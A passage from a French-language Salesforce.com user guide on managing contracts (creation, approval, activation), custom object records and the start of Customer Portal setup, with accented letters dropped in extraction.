dfinie par l'administrateur et des paramtres de scurit relatifs aux champs (disponibles exclusivement dans Enterprise
Edition, Unlimited Edition et Developer Edition). Voici les options disponibles pour les contrats rcents :

Option

Description

Cr rcemment

Les dix ou vingt-cinq derniers contrats crs, avec les contrats

crs le plus rcemment affichs en premier. Cette liste ne
contient que les enregistrements dont vous tes responsable.

Modifi rcemment

Les dix ou vingt-cinq derniers contrats mis jour, avec les

contrats consults le plus rcemment affichs en premier.
Cette liste ne contient que les enregistrements dont vous
tes responsable.

Affich rcemment

Les dix ou vingt-cinq derniers contrats affichs, en

commenant par les contrats consults le plus rcemment.
Cette liste provient des lments rcents et contient les
enregistrements dont vous tes responsable et ceux des autres
utilisateurs.

Approbation en attente

Les dix ou vingt-cinq derniers contrats pour lesquels il existe

au moins une demande qui attend votre approbation. Cette
liste contient les enregistrements dont vous tes responsable,
ainsi que ceux des autres utilisateurs.

Dans la section Contrats rcents, cliquez sur Nouveau pour crer un contrat.

Voir aussi :
Prsentation des contrats
Cration de vues Listes personnalises
Affichage et modification des contrats
Cration de contrats

Contrats

Guide de l'utilisateur | Affichage des listes de contrats | 1271

Affichage des listes de contrats

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher des listes de contrats :

Autorisation de lecture sur les contrats

Pour crer des contrats :

Autorisation de cration sur les contrats

AND
Lire sur les comptes

Remarque: Si votre administrateur a activ les listes avances, vous pouvez utiliser les outils supplmentaires pour
personnaliser, accder , grer et modifier des donnes de liste.
La page de liste des contrats affiche la liste des contrats dans votre vue actuelle. partir de cette page, vous pouvez afficher
des informations dtailles sur les contrats et accder des informations associes.

Cliquez sur le numro d'un contrat pour en afficher les dtails. Cliquez sur Modifier ou sur Suppr pour modifier ou
supprimer un contrat. Reportez-vous Affichage et modification des contrats la page 1272.
Choisissez une vue prdfinie dans la liste droulante pour afficher la liste de contrats. Vous pouvez galement cliquer sur
Crer une nouvelle vue pour dfinir votre propre vue de liste. Reportez-vous Cration de vues Listes personnalises
la page 1538.
Cliquez sur Vue imprimable pour afficher la vue de liste actuelle sous un format prt pour l'impression.
Cliquez sur Nouveau contrat slectionnez Contrat dans la liste droulante Crer du menu latral pour crer un contrat.
Ces options apparaissent uniquement si vous disposez de l'autorisation de cration sur les contrats. Reportez-vous Cration
de contrats la page 1274.
Cliquez sur un en-tte de colonne pour trier les contrats par ordre croissant en fonction des informations contenues dans
cette colonne. Cliquez de nouveau sur l'en-tte pour trier la colonne par ordre dcroissant.
En haut et en bas de la liste, cliquez sur une lettre pour afficher le contenu de la colonne trie commenant par cette lettre.
Cliquez sur le lien Page suivante (ou Page prcdente) pour passer au groupe de contrats suivant ou prcdent.
Au bas de la vue de liste, cliquez sur moins ou sur plus pour afficher une liste plus courte ou plus longue.

Voir aussi :
Affichage et modification des contrats
Cration de contrats
Activation du portail Client pour les constacts et les comptes personnels
Personnalisation des paramtres de l'interface utilisateur
Utilisation des listes avances
Utilisation de la modification en ligne dans des listes

Contrats

Guide de l'utilisateur | Affichage et modification des contrats | 1272

Affichage et modification des contrats

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher des contrats :

Autorisation de lecture sur les contrats

Pour modifier des contrats :

Autorisation de modification sur les contrats

AND
Autorisation de lecture sur les comptes

Pour modifier des contrats activs :

Activation des contrats

Affichage de contrats
Lorsque vous avez trouv le contrat souhait sur la page d'accueil ou sur la page de liste des contrats, cliquez sur son
numro pour afficher des informations dtailles. partir d'un compte, cliquez sur le numro de contrat dans la liste
associe Contrats pour afficher le contrat. Tous les contrats associs au compte apparaissent dans la liste associe Contrats.
Conseil: Si votre organisation a activ les dtails de placement, survolez un champ de recherche dans la page
de dtails pour afficher les principales informations relatives un enregistrement avant de cliquer sur la page de
dtails correspondante.
Modification de contrats
Pour mettre jour un contrat, cliquez sur Modifier, puis modifiez les champs concerns. Lorsque vous avez termin,
cliquez sur Enregistrer. Vous pouvez galement slectionner Enregistrer et Nouveau pour enregistrer le contrat actuel
et en crer un nouveau. Les utilisateurs autoriss modifier des contrats peuvent le faire jusqu' ce que ces derniers soient
activs.
Remarque: Si votre organisation a activ la modification en ligne, vous pouvez modifier les champs directement
dans la page de dtails.

Marquage des contacts

Si les balises ont t actives, cliquez sur Ajouter des balises ou sur Modifier les balises dans la zone Balises directement
sous la barre de titre colore pour marquer l'enregistrement actuel. Si l'enregistrement a dj t balis, cliquez sur un
noms de balise pour afficher une liste de tous les enregistrements contenant cette balise.
Listes associes au contrat
La partie infrieure de l'cran affiche un instantan d'informations commerciales importantes lies au contrat. Les listes
associes qui s'affichent dpendent de vos paramtres de personnalisation et de ceux dfinis par votre administrateur
pour la prsentation des pages ou par vos autorisations d'affichage des donnes connexes. Vous pouvez cliquer sur des
lments individuels pour afficher des dtails supplmentaires. Cliquez sur plus au bas de la page ou sur Afficher plus
d'informations sous une liste associe pour afficher d'autres lments. Cliquez sur Nouveau pour ajouter directement
de nouveaux lments.

Contrats

Guide de l'utilisateur | Affichage et modification des contrats | 1273

Impression de contrats
Pour afficher une vue imprimable de toutes les informations sur un enregistrement, cliquez sur Vue imprimable dans la
page de dtails.
Pour revenir la dernire page de liste affiche, cliquez sur Retour la liste en haut de la page de dtails des contrats. Si votre
organisation a activ l'option de rduction des sections de page, utilisez les icnes reprsentant des flches prs des en-ttes
de section pour dvelopper ou rduire chaque section de la page des dtails.

Voir aussi :
Demandes d'approbation de contrat
Historique du contrat
Cration de contrats

Demandes d'approbation de contrat

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

La liste associe Demandes d'approbation prsente sur la page de dtails d'un contrat permet de suivre le statut de chaque
demande d'approbation. Cette liste affiche des informations sur chaque demande d'approbation, son statut et, le cas chant,
des commentaires d'approbation ou de refus. Aucun commentaire ne s'affiche si le statut est En attente.

Voir aussi :
Approbation des contrats

Historique du contrat
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

La liste associe Historique du contrat d'une page de dtails de contrat effectue le suivi des modifications apportes un contrat
si son statut est En cours d'approbation ou Activ. Chaque fois qu'un utilisateur modifie les champs standard ou personnaliss
dont l'historique doit tre suivi sur le contrat, une nouvelle entre est ajoute la liste associe Historique du contrat. Toutes
les entres comprennent la date, l'heure et la nature de la modification, ainsi que le nom de l'utilisateur ayant apport la
modification. Les modifications apportes aux listes associes du contrat ne font pas l'objet d'un suivi dans l'historique du
contrat. Pour plus d'informations sur la configuration des champs suivis, reportez-vous Suivi de l'historique des champs la
page 410.

Contrats

Guide de l'utilisateur | Cration de contrats | 1274

Cration de contrats
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher des contrats :

Autorisation de lecture sur les contrats

Pour crer des contrats :

Autorisation de cration sur les contrats

AND
Autorisation de lecture sur les comptes

Pour pouvoir associer un contrat un compte, vous devez au minimum disposer d'un accs en lecture au compte. Pour crer
un contrat :
1. Slectionnez Contrat dans la liste droulante Crer du menu latral ou cliquez sur Nouveau en regard de Contrats rcents
dans la page d'accueil des contrats. Slectionnez le Nom du compte associer au contrat.
Vous pouvez galement afficher en premier lieu l'enregistrement du compte et cliquer sur Nouveau dans la liste associe
Contrats.
2. Choisissez un statut de contrat.
3. Entrez la date de dbut du contrat.
4. Entrez le nombre de mois pendant lesquels le nouveau contrat restera en vigueur.
Remarque: Votre administrateur peut configurer Salesforce.com pour qu'il calcule la date de fin des
contrats sur la base de la date de dbut des contrats et de leur dure. Si la date de fin des
contrats est calcule automatiquement, elle n'apparat pas sur la page de modification des contrats.
5. Entrez les autres informations relatives au nouveau contrat.
6. Cliquez sur Enregistrer.
Le contrat apparat dans la liste associe Contrats du compte.
Les entreprises Enterprise Edition, Unlimited Edition et Developer Edition peuvent activer des types d'enregistrement qui
vous demandent de choisir un type lorsque vous crez un enregistrement. Ceci dtermine les valeurs de la liste de slection
et de statut qui sont disponibles lors de la cration et de la modification d'un enregistrement. Pour des instructions d'activation
des types d'enregistrement pour des contrats, reportez-vous Gestion des types d'enregistrement la page 539.
Si l'entreprise utilise des services, le service d'un nouveau contrat est automatiquement le service du compte associ.

Voir aussi :
Page d'accueil des contrats

Contrats

Guide de l'utilisateur | Approbation des contrats | 1275

Approbation des contrats

Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour approuver des contrats :

Approbation de contrats

Il existe peut-tre dj dans votre organisation un processus d'approbation des contrats. Par exemple, une personne peut tre
dsigne par quipe pour approuver les contrats. Un administrateur peut galement tre charg d'activer les contrats. Le cas
chant, l'administrateur Salesforce.com peut personnaliser Salesforce.com pour faire en sorte que les personnes concernes
soient autorises effectuer leurs tches concernant le cycle de vie du contrat.
Avant de commencer personnaliser Salesforce.com, dterminez le cycle de vie d'un contrat de votre entreprise. Pour commencer,
basez-vous sur le processus d'approbation de contrat lmentaire suivant :
1. Un utilisateur cre un contrat. Cet utilisateur doit tre autoris modifier des contrats. Le statut de tous les nouveaux
contrats est Version prliminaire.
2. Le responsable du contrat envoie une demande d'approbation pour que le contrat soit approuv par le chef de l'quipe. La
premire demande d'approbation du contrat change son statut en En cours d'approbation.
3. Le chef d'quipe accepte ou refuse la demande d'approbation du contrat. En cas de refus, le responsable apporte des
changements au contrat et soumet une nouvelle demande d'approbation. Le statut reste En cours d'approbation, que la
demande ait t accepte ou refuse.
4. Si la demande est accepte, un administrateur de contrat active le contrat. Certains utilisateurs, bnficiant de l'autorisation
correspondante, peuvent activer un contrat. L'activation d'un contrat a pour effet de changer son statut en Activ et de le
rendre accessible en lecture seule. Les contrats activs ne peuvent pas tre modifis et seuls les utilisateurs autoriss peuvent
supprimer un contrat dont le statut est Activ.
Envoi de demandes d'approbation
Pour envoyer une demande d'approbation concernant un contrat :
1.
2.
3.
4.
5.

Slectionnez le contrat.
Cliquez sur Nouveau dans la liste associe Demandes d'approbation.
Slectionnez la personne qui la demande d'approbation est destine.
Entrez tout commentaire de requte (4 000 caractres maximum).
Cliquez sur Enregistrer. Salesforce.com envoie une demande d'approbation par e-mail au destinataire que vous avez
slectionn. Celui-ci, en cliquant sur un lien de l'e-mail, peut afficher le contrat, et cliquer sur Approuver pour accepter
le contrat ou Rejeter pour renvoyer la demande d'approbation. Toutes les demandes d'approbation font l'objet d'un suivi
dans la liste associe Demande d'approbation.

Rception de demandes d'approbation

Affichez tous les contrats qui ncessitent votre approbation par l'intermdiaire de la liste Approbation en attente de la page
d'accueil des contrats. Lorsque vous recevez une demande d'approbation par e-mail, cliquez sur le lien fourni pour afficher le
contrat correspondant.

Contrats

Guide de l'utilisateur | Activation de contrats | 1276

Cliquez sur Approuver pour accepter le contrat tel quel et en avertir le responsable du contrat. Vous tes invit slectionner
le statut de la demande d'approbation et entrer des commentaires la concernant (4 000 caractres maximum). Cliquez
sur Enregistrer pour envoyer et enregistrer la demande d'approbation.
Cliquez sur Rejeter pour retourner la demande d'approbation. Slectionnez le statut de la demande d'approbation et entrez
ventuellement un commentaire (4 000 caractres maximum) associer la demande. Cliquez sur Enregistrer pour envoyer
votre rponse et enregistrer la demande d'approbation.
Remarque: Vous pouvez utiliser la fonctionnalit d'approbation des contrats standard seule ou conjointement avec
les processus d'approbation.

Voir aussi :
Activation de contrats
Affichage et modification des contrats
Cration de contrats

Activation de contrats
Disponible avec : Professional Edition, Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour activer des contrats :

Activation des contrats

AND
Autorisation de lecture et de modification des contrats

Les administrateurs et les utilisateurs bnficiant de l'autorisation correspondante peuvent activer les contrats. Pour modifier
un contrat activ, un utilisateur doit bnficier de l'autorisation Activer les contrats.
L'activation d'un contrat a pour effet de changer son statut en Activ et de le rendre accessible en lecture seule. Les contrats
activs ne peuvent pas tre modifis et seuls les utilisateurs autoriss peuvent supprimer un contrat dont le statut est Activ.
Pour activer un contrat :
1. Slectionnez le contrat activer.
2. Cliquez sur Activer. Le statut d'un contrat actif est Activ .

Voir aussi :
Approbation des contrats
Affichage et modification des contrats

Enregistrements d'objets personnaliss

Prsentation d'un enregistrement d'objet personnalis
Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Les enregistrements d'objet personnalis stockent les informations propres vous-mme et votre entreprise, et qui sont
importantes. Par exemple, votre entreprise peut utiliser un objet personnalis appel Devis pour stocker les donnes relatives
aux devis qu'elle met. Vous pouvez galement utiliser des objets personnaliss pour des applications personnalises, comme
le suivi d'amliorations logicielles dans le cycle de vie d'un dveloppement.
Votre administrateur commence par dfinir l'objet personnalis et ses proprits, comme les champs personnaliss, les relations
avec d'autres types de donnes, les prsentations de page et un onglet d'interface utilisateur personnalise. Une fois l'objet
personnalis cr et dploy sur les utilisateurs, vous pouvez saisir des donnes pour crer des enregistrements d'objet personnalis
individuels. Si votre administrateur a cr un onglet pour l'objet personnalis, cet onglet fait apparatre une page d'accueil vous
permettant de crer rapidement et de localiser les enregistrements correspondants. Vous pouvez galement trier et filtrer vos
enregistrements d'objet personnalis l'aide de vues de liste standard et personnalises. En outre, cet onglet vous permet
d'afficher et de modifier les informations dtailles de tous les enregistrements d'objet personnalis auxquels vous avez accs.
Les administrateurs et les utilisateurs autoriss modifier toutes les donnes sont habilits importer des objets personnaliss.
Reportez-vous Quels sont les lments imports pour les objets personnaliss ? la page 261

Voir aussi :
Accueil des objets personnaliss
Dfinition d'objets personnaliss

Accueil des objets personnaliss

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour afficher l'onglet d'un objet personnalis :

Autorisation de lecture sur l'objet personnalis

Pour afficher des enregistrements d'objets personnaliss :

Autorisation de lecture sur l'objet personnalis

Cliquez sur l'onglet d'un objet personnalis pour ouvrir la page d'accueil correspondante. Le nom de l'onglet d'un objet
personnalis correspond au pluriel de cet objet tel qu'il est dfini par votre administrateur.

Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise. Les vues de liste permettent d'afficher une liste des enregistrements
correspondant des critres spcifiques, comme tous les objets personnaliss d'un onglet ou uniquement ceux dont vous

Enregistrements d'objets personnaliss

Guide de l'utilisateur | Accueil des objets personnaliss | 1278

tes responsable. Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la dans la liste droulante Vue,
puis cliquez sur Modifier.
Si des objets personnaliss sont partags avec des contacts externes via 100 % Salesforce, choisissez l'une des vues de liste
sous [nom objet personnalis] des connexions pour afficher les objets personnaliss que vos partenaires professionnels
ont partags avec vous.
Dans la section des lments rcents, slectionnez un lment dans la liste droulante pour afficher la liste des premiers
enregistrements d'objet personnalis correspondant le mieux ces critres. Dans la liste, vous pouvez cliquer sur le nom
de l'un des objets personnaliss pour accder directement aux dtails le concernant. Cliquez alternativement sur les liens
Afficher 25 lments et Afficher 10 lments pour changer le nombre d'lments affichs. Les champs que vous voyez
apparatre dpendent de la prsentation de recherche de l'onglet Objet personnalis dfinie par l'administrateur et des
paramtres de scurit relatifs aux champs (disponibles exclusivement dans Enterprise Edition, Unlimited Edition et
Developer Edition). Les choix pour les lments cls sont les suivants :
Option

Description

Affich rcemment

Les dix ou vingt-cinq derniers enregistrements d'objet

personnalis affichs, les lments consults le plus
rcemment figurant en premier dans la liste. Cette liste
provient des lments rcents et contient les enregistrements
dont vous tes responsable et ceux des autres utilisateurs.

Cr rcemment

Les dix ou vingt-cinq derniers enregistrements d'objet

personnalis crs, les lments crs le plus rcemment
figurant en premier dans la liste. Cette liste ne contient que
les enregistrements dont vous tes responsable.

Modifi rcemment

Les dix ou vingt-cinq derniers enregistrements d'objet

personnalis mis jour, les lments mis jour le plus
rcemment figurant en premier dans la liste. Cette liste ne
contient que les enregistrements dont vous tes responsable.

Voir aussi :
Prsentation d'un enregistrement d'objet personnalis
Affichage et modification des enregistrements d'objets personnaliss
Cration de vues Listes personnalises

Enregistrements d'objets personnaliss

Guide de l'utilisateur | Affichage des listes d'objets personnaliss | 1279

Affichage des listes d'objets personnaliss

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour afficher des listes d'objets personnaliss :

Autorisation de lecture sur l'objet personnalis

Pour crer des enregistrements d'objet personnalis :

Autorisation de cration sur l'objet personnalis

Remarque: Si votre administrateur a activ les listes avances, vous pouvez utiliser les outils supplmentaires pour
personnaliser, accder , grer et modifier des donnes de liste.
La page de la liste des objets personnaliss contient la liste des enregistrements d'objet personnalis de la vue actuelle. partir
de cette page, vous pouvez afficher des informations dtailles sur les enregistrements d'objet personnalis et accder d'autres
informations associes. Une vue de liste contient les enregistrements d'objet personnalis d'un type exclusivement. Vous ne
pouvez pas afficher plusieurs types d'objet personnalis dans une seule vue de liste.

Pour afficher les dtails concernant un enregistrement d'objet personnalis, cliquez sur le nom de l'objet. Cliquez sur
Modifier ou sur Suppr en regard d'un nom d'enregistrement d'objet personnalis pour modifier ou supprimer cet
enregistrement. Reportez-vous Affichage et modification des enregistrements d'objets personnaliss la page 1280.
Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la
dans la liste droulante Vue, puis cliquez sur Modifier.
Cliquez sur Vue imprimable pour afficher la vue de liste actuelle sous un format prt pour l'impression.
Pour devenir le responsable d'enregistrements d'objet personnalis d'une file d'attente, affichez la vue de liste de la file
d'attente, cochez les cases correspondant aux enregistrements souhaits, puis cliquez sur Accepter.
Pour transfrer la responsabilit de plusieurs enregistrements la fois, cochez les cases correspondant aux enregistrements
d'objet personnalis souhaits et cliquez sur Modifier le responsable. Indiquez le nouveau responsable de l'enregistrement.
Si vous le souhaitez, slectionnez Envoyer une notification par e-mail pour lui envoyer un e-mail, puis cliquez
sur Enregistrer.
Cliquez sur Nouveau nom d'objet personnalis ou slectionnez le nom de l'objet personnalis dans la liste droulante
Crer du menu latral pour crer un objet personnalis de ce type. Ces options apparaissent uniquement si vous disposez
de l'autorisation de cration sur l'objet personnalis. .
Cliquez sur un en-tte de colonne pour trier les enregistrements par ordre croissant en fonction des informations de cette
colonne. Cliquez de nouveau sur l'en-tte de colonne pour trier les comptes par ordre dcroissant.
En haut et en bas de la liste, cliquez sur une lettre pour afficher le contenu de la colonne trie commenant par cette lettre.
Cliquez sur le lien Page suivante (ou Page prcdente) pour passer au groupe d'enregistrements suivant ou prcdent.
Au bas de la liste, slectionnez moins ou plus pour afficher une liste plus courte ou plus longue.

Enregistrements d'objets personnaliss Guide de l'utilisateur | Affichage et modification des enregistrements d'objets personnaliss | 1280

Remarque: Seuls les utilisateurs dots des autorisations appropries disposent des boutons et des liens mentionns
dans l'aide en ligne.

Voir aussi :
Prsentation d'un enregistrement d'objet personnalis
Personnalisation des paramtres de l'interface utilisateur
Utilisation des listes avances
Utilisation de la modification en ligne dans des listes

Affichage et modification des enregistrements d'objets

personnaliss
Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour afficher des enregistrements d'objets personnaliss :

Autorisation de lecture sur l'objet personnalis

Pour modifier des enregistrements objets personnaliss :

Autorisation de modification sur l'objet personnalis

Affichage d'enregistrements d'objets personnaliss

Lorsque vous avez repr un enregistrement d'objet personnalis dans la page d'accueil ou la page de liste Objets
personnaliss, cliquez sur son nom pour obtenir des dtails.
Conseil: Si votre organisation a activ les dtails de placement, survolez un champ de recherche dans la page
de dtails pour afficher les principales informations relatives un enregistrement avant de cliquer sur la page de
dtails correspondante.
Dans les entreprises Professional Edition, Enterprise Edition, Unlimited Edition ou Developer Edition qui ont configur
la console de manire ce qu'elle inclue les objets personnaliss, cliquez sur l'onglet Console pour afficher la console.
Cette dernire permet de rechercher, d'afficher et de modifier des enregistrements d'objets personnaliss et les
enregistrements associs sur un seul et mme cran. Pour plus d'informations, reportez-vous Affichage de la console
la page 1245.
Modification d'enregistrements d'objets personnaliss
Pour mettre jour les dtails des enregistrements d'objets personnaliss, cliquez sur Modifier, puis modifiez les champs
concerns. Lorsque vous avez termin, cliquez sur Enregistrer. Vous pouvez galement cliquer sur Enregistrer et Nouveau
pour enregistrer l'objet personnalis actuel et en crer un nouveau. Les champs obligatoires apparaissent en rouge.
Remarque: Vous ne pouvez pas modifier les paramtres Nom de l'objet ou Type de donnes si l'objet
personnalis est rfrenc dans un script Apex.

Enregistrements d'objets personnaliss Guide de l'utilisateur | Affichage et modification des enregistrements d'objets personnaliss | 1281

Marquage d'enregistrements d'objet personnalis

Si les balises ont t actives, cliquez sur Ajouter des balises ou sur Modifier les balises dans la zone Balises directement
sous la barre de titre colore pour marquer l'enregistrement actuel. Si l'enregistrement a dj t balis, cliquez sur un
noms de balise pour afficher une liste de tous les enregistrements contenant cette balise.
Listes associes Objet personnalis
La partie infrieure de la page des dtails de l'enregistrement de l'objet personnalis contient des renseignements relatifs
cet enregistrement, notamment ses activits, notes, pices jointes et autres enregistrements associs. Les listes associes
qui s'affichent dpendent de vos paramtres de personnalisation et de ceux dfinis par votre administrateur pour la
prsentation des pages ou par vos autorisations d'affichage des donnes connexes. Vous pouvez cliquer sur des lments
individuels pour afficher des dtails supplmentaires. Cliquez sur plus au bas de la page ou sur Afficher plus d'informations
sous une liste associe pour afficher d'autres lments. Cliquez sur Nouveau pour ajouter directement de nouveaux
lments.
Impression d'enregistrements d'objets personnaliss
Pour afficher une vue imprimable de toutes les informations sur un enregistrement, cliquez sur Vue imprimable dans la
page de dtails.
Pour revenir la dernire page de liste affiche, cliquez sur Retour la liste en haut de toute page de dtails d'enregistrement
d'objet personnalis. Si votre organisation a activ l'option de rduction des sections de page, utilisez les icnes reprsentant
des flches prs des en-ttes de section pour dvelopper ou rduire chaque section de la page des dtails.
Remarque: Seuls les utilisateurs dots des autorisations appropries disposent des boutons et des liens mentionns
dans l'aide en ligne.

Voir aussi :
Utilisation de listes associes personnalises

Enregistrements d'objets personnaliss

Guide de l'utilisateur | Utilisation de listes associes personnalises | 1282

Utilisation de listes associes personnalises

Disponible avec : Contact Manager Edition, Group Edition, Professional Edition, Enterprise Edition, Unlimited Edition
et Developer Edition

Autorisations utilisateur requises

Pour afficher des listes associes aux enregistrements d'objet Autorisation de lecture sur l'objet personnalis
personnalis :
AND
Autorisation de lecture sur l'enregistrement associ
Pour modifier des enregistrements objets personnaliss :

Autorisation de modification sur l'objet personnalis

Pour crer des enregistrements d'objet personnalis :

Autorisation de cration sur l'objet personnalis

Pour supprimer des enregistrements d'objet personnalis :

Autorisation de suppression sur l'objet personnalis

Les listes associes l'objet personnalis apparaissent dans la partie infrieure de la page des dtails d'un autre enregistrement.
Elles contiennent les enregistrements d'objet personnalis associs cet enregistrement.
partir de la liste associe un objet personnalis, vous pouvez :

Cliquer sur le nom de l'enregistrement d'objet personnalis pour afficher les renseignements dtaills correspondants.
Cliquer sur Modifier ou sur Suppr pour modifier ou supprimer l'objet personnalis.
Cliquer sur Nouveau pour crer un enregistrement d'objet personnalis associ l'enregistrement que vous visualisez.

Votre administrateur dtermine si un objet personnalis peut tre associ un autre type d'enregistrement via une relation
principal-dtails ou de recherche. L'administrateur indique galement si une liste associe un objet personnalis apparat sur
la prsentation de page de l'enregistrement associ. Pour plus d'informations, reportez-vous Prsentation des relations la
page 697.

Voir aussi :
Prsentation d'un enregistrement d'objet personnalis
Affichage et modification des enregistrements d'objets personnaliss

Enregistrements d'objets personnaliss

Guide de l'utilisateur | Partage d'enregistrements d'objet personnalis | 1283

Partage d'enregistrements d'objet personnalis

Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour afficher un enregistrement d'objet personnalis :

Autorisation de lecture sur l'objet personnalis

Votre administrateur est charg de dfinir le modle de partage par dfaut de toute l'organisation. Vous pouvez modifier ce
modle pour tendre le partage d'autres utilisateurs que ceux dfinis par l'administrateur. Par contre, vous ne pouvez pas
restreindre les possibilits de partage par rapport au modle par dfaut.
Pour afficher et grer les dtails du partage, cliquez sur Partage dans la page de dtails de l'enregistrement d'objet personnalis.
Cette page rpertorie les utilisateurs, les groupes, les rles et les territoires qui disposent d'un accs partag l'enregistrement.
Cette page permet d'effectuer les oprations suivantes :

Pour afficher une liste d'lments filtre, slectionnez une liste prdfinie dans la liste droulante Vue ou cliquez sur Crer
une nouvelle vue pour dfinir une vue personnalise. Pour modifier ou supprimer une vue que vous avez cre, slectionnez-la
dans la liste droulante Vue, puis cliquez sur Modifier.
Cliquez sur Ajouter pour accorder un accs l'enregistrement aux autres utilisateurs, groupes, rles ou territoires.
Remarque: Pour que vous puissiez partager un enregistrement d'objet personnalis avec un autre utilisateur, ce
dernier doit disposer d'une autorisation de lecture sur cet objet.

Cliquez sur Dvelopper la liste pour afficher tous les utilisateurs qui disposent de l'accs l'enregistrement.
Pour les rgles de partage manuelles que vous crez, cliquez sur Modifier ou Suppr en regard d'un lment de la liste afin
de modifier ou de supprimer le niveau d'accs.

Voir aussi :
Octroi d'accs aux enregistrements
Affichage des utilisateurs bnficiant de droits d'accs

Portail client
Configuration du portail Client
Disponible avec : Enterprise Edition, Unlimited Edition et Developer Edition

Autorisations utilisateur requises

Pour configurer et mettre jour le portail Client :

Personnaliser l'application

Un portail client Salesforce.com est semblable un portail libre-service car il fournit vos clients un rseau de support en ligne
leur permettant d'obtenir des rponses leurs questions sans avoir contacter le service clientle. Toutefois, un portail Client
offre des fonctions beaucoup plus compltes que celles d'un portail Libre-service. Cela est d au fait qu'un portail client possde
des fonctions semblables celles de Salesforce.com. Avec un portail client, vous pouvez personnaliser et fournir vos clients
une interface utilisateur exceptionnelle du point de vue visuel, et vous servir des fonctionnalits Salesforce.com suivantes pour
les accompagner dans la russite de leur projet :

Dfinition des pages et des champs que les clients voient avec des prsentations de page et la scurit au niveau des champs
Gestion des clients avec des profils, des rles et des rgles de partage
Fournissez et organisez les documents via Salesforce CRM Content ou l'onglet Documents
Crez une base de connaissances pour vos clients l'aide de la base de connaissances Salesforce Knowledge
Permettre aux clients de participer aux communauts Salesforce CRM Ideas.
Affichage et collecte de donnes propres votre entreprise avec des objets personnaliss
Fournissez des rapports personnaliss via l'onglet Rapports

La configuration du portail Client comprend les tapes suivantes :

1. Activer le portail Client.
2. Crer un ou plusieurs portails.
Pour chaque portail :
a. Configurer les paramtres et les modles de communication.
Vous pouvez standardiser les modles de communication envoys aux utilisateurs de vos portails Clients en cliquant
sur le lien Dfinir les modles d'e-mail par dfaut pour tous les portails Client dans la section Outils de la page
Configuration duportail Client. Pour plus d'informations, reportez-vous Cration de plusieurs portails Clients la
page 1291.
L'assistant Convertir laccs utilisateur au portail s'affiche automatiquement lors de l'enregistrement initial des paramtres
de votre premier portail, que ce soit le portail client ou le portail partenaire. Vous pouvez utiliser ce portail pour vous
assurer que les enregistrements et les dossiers dont les utilisateurs Salesforce.com sont responsables ne sont pas partags
avec des utilisateurs du portail.
b. Personnaliser les polices et les couleurs.
c. Personnaliser les onglets disponibles et leur ordre.
d. Configurer les langues du portail.

Portail client

Guide de l'utilisateur | Configuration du portail Client | 1285

3. Vous pouvez galement activer Salesforce CRM Content,Salesforce CRM Ideas ou la base de connaissances Salesforce
Knowledge selon vos besoins.
4. Crer des profils de portail Client.
Pour chaque profil :
a. Personnalisez les prsentations de page. Pour plus d'informations, reportez-vous Personnalisation des pages de votre
portail Client.
Pour obtenir des conseils de configuration et des informations gnrales sur les pages du portail client Salesforce.com,
reportez-vous Observations et conseils relatifs la configuration pour les pages du portail client la page 1307.
b. Personnalisez les vues de liste. Pour plus d'informations, reportez-vous Cration de vues Listes personnalises la
page 1538.
Les utilisateurs du portail Client peuvent voir automatiquement n'importe quelle vue de liste avec les paramtres de
visibilit reprs par Visible par tous les utilisateurs. Il est recommand de crer des vues de liste spcifiques
sur tous les objets accessibles aux utilisateurs du portail, puis de ne leur attribuer que celles qu'ils doivent visualiser.
c. Personnalisez des prsentations de recherche. Pour plus d'informations, reportez-vous Personnalisation des prsentations
de recherche la page 572.
Les prsentations de la recherche dans votre organisation Salesforce.com sont identiques celles utilises dans votre
portail client. Vrifiez que les prsentations de recherche sur les objets accessibles aux utilisateurs du portail n'incluent
que les champs qu'ils doivent voir dans les rsultats de recherche.
5. Configurez un workflow :
a. Configurez des rgles de workflow ou des rgles d'attribution de requte pour attribuer automatiquement les requtes
cres par les utilisateurs du portail des files d'attente et des utilisateurs Salesforce.com en utilisant le critre
Utilisateur actif : Type d'utilisateur contient Portail Client. Pour plus d'informations,
reportez-vous Configuration des rgles d'attribution la page 620 et Gestion des rgles de workflow la page 724.
Pour garantir le bon fonctionnement des rgles d'attribution de requte dans le portail Client, cochez les cases Cocher
la case Attribution de requtes et Cocher la case Attribution de requtes par dfaut dans
les prsentations de page de requte attribues aux profils de portail. Les utilisateurs ne peuvent pas voir ces cases
cocher dans le portail Client. Notez que les rgles d'attribution se dclenchent lorsqu'une requte est cre et modifie.
Pour ne pas raffecter automatiquement les requtes lorsque les utilisateurs du portail les modifient, ajoutez une entre
de rgle en utilisant le critre Utilisateur actif : Type d'utilisateur contient Portail Client
et cochez la case Ne pas raffecter l'utilisateur. Pour plus d'informations, reportez-vous Configuration
des rgles d'attribution la page 620.
b. Crez des alertes de workflow ou des rgles de rponse automatique pour les requtes afin de rpondre automatiquement
aux utilisateurs du portail lorsqu'ils crent une requte. Pour vous aider choisir entre l'utilisation d'alertes de workflow
